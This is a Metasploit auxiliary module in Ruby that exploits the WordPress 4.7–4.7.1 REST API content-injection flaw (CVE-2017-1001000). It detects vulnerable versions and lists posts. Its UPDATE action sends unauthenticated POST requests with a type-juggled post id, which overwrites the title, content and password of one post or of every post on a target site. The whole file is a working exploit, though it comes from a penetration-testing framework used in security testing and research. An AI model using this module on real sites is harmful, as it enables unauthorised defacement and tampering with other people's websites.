##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress REST API Content Injection',
      'Description'    => %q{
        This module exploits a content injection vulnerability in WordPress
        versions 4.7 and 4.7.1 via type juggling in the REST API.
      },
      'Author'         => [
        'Marc Montpas', # Vulnerability discovery
        'wvu'           # Metasploit module
      ],
      'References'     => [
        ['CVE' , '2017-1001000'],
        ['WPVDB', '8734'],
        ['URL',   'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'],
        ['URL',   'https://www.php.net/manual/en/language.types.type-juggling.php'],
        ['URL',   'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'],
        ['URL',   'https://developer.wordpress.org/rest-api/reference/posts/']
      ],
      'DisclosureDate' => '2017-02-01',
      'License'        => MSF_LICENSE,
      'Actions'        => [
        ['LIST',   'Description' => 'List posts'],
        ['UPDATE', 'Description' => 'Update post']
      ],
      'DefaultAction'  => 'LIST'
    ))

    register_options([
      OptInt.new('POST_ID',          [false, 'Post ID (0 for all)', 0]),
      OptString.new('POST_TITLE',    [false, 'Post title']),
      OptString.new('POST_CONTENT',  [false, 'Post content']),
      OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)'])
    ])

    register_advanced_options([
      OptInt.new('PostCount',     [false, 'Number of posts to list', 100]),
      OptString.new('SearchTerm', [false, 'Search term when listing posts'])
    ])
  end

  def check_host(_ip)
    if (version = wordpress_version)
      version = Rex::Version.new(version)
    else
      return Exploit::CheckCode::Safe
    end

    vprint_status("WordPress #{version}: #{full_uri}")

    if version.between?(Rex::Version.new('4.7'), Rex::Version.new('4.7.1'))
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Detected
    end
  end

  def run_host(_ip)
    if !wordpress_and_online?
      print_error("WordPress not detected at #{full_uri}")
      return
    end

    case action.name
    when 'LIST'
      do_list
    when 'UPDATE'
      do_update
    end
  end

  def do_list
    posts_to_list = list_posts

    if posts_to_list.empty?
      print_status("No posts found at #{full_uri}")
      return
    end

    tbl = Rex::Text::Table.new(
      'Header'  => "Posts at #{full_uri} (REST API: #{get_rest_api})",
      'Columns' => %w{ID Title URL Password}
    )

    posts_to_list.each do |post|
      tbl << [
        post[:id],
        Rex::Text.html_decode(post[:title]),
        post[:url],
        post[:password] ? 'Yes' : 'No'
      ]
    end

    print_line(tbl.to_s)
  end

  def do_update
    posts_to_update = []

    if datastore['POST_ID'] == 0
      posts_to_update = list_posts
    else
      posts_to_update << {id: datastore['POST_ID']}
    end

    if posts_to_update.empty?
      print_status("No posts to update at #{full_uri}")
      return
    end

    posts_to_update.each do |post|
      res = update_post(post[:id],
        title:    datastore['POST_TITLE'],
        content:  datastore['POST_CONTENT'],
        password: datastore['POST_PASSWORD']
      )

      post_url = full_uri(wordpress_url_post(post[:id]))

      if res && res.code == 200
        print_good("SUCCESS: #{post_url} (Post updated)")
      elsif res && (error = res.get_json_document['message'])
        print_error("FAILURE: #{post_url} (#{error})")
      end
    end
  end

  def list_posts
    posts = []

    res = send_request_cgi({
      'method'     => 'GET',
      'uri'        => normalize_uri(get_rest_api, 'posts'),
      'vars_get'   => {
        'per_page' => datastore['PostCount'],
        'search'   => datastore['SearchTerm']
      }
    }, 3.5)

    if res && res.code == 200
      res.get_json_document.each do |post|
        posts << {
          id:       post['id'],
          title:    post['title']['rendered'],
          url:      post['link'],
          password: post['content']['protected']
        }
      end
    elsif res && (error = res.get_json_document['message'])
      vprint_error("Failed to list posts: #{error}")
    end

    posts
  end

  def update_post(id, opts = {})
    payload = {}

    payload[:id]       = "#{id}#{Rex::Text.rand_text_alpha(8)}"
    payload[:title]    = opts[:title] if opts[:title]
    payload[:content]  = opts[:content] if opts[:content]
    payload[:password] = opts[:password] if opts[:password]

    send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(get_rest_api, 'posts', id),
      'ctype'  => 'application/json',
      'data'   => payload.to_json
    }, 3.5)
  end

  def get_rest_api
    return @rest_api if @rest_api

    res = send_request_cgi!({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    }, 3.5)

    if res && res.code == 200
      @rest_api = parse_rest_api(res)
    end

    @rest_api ||= wordpress_url_rest_api
  end

  def parse_rest_api(res)
    rest_api = nil

    link = res.headers['Link']
    html = res.get_html_document

    if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$}
      rest_api = route_rest_api($1)
      vprint_status('REST API found in Link header')
    elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href'))
      rest_api = route_rest_api(xpath)
      vprint_status('REST API found in HTML document')
    end

    rest_api
  end

  def route_rest_api(rest_api)
    normalize_uri(path_from_uri(rest_api), 'wp/v2')
  end
end
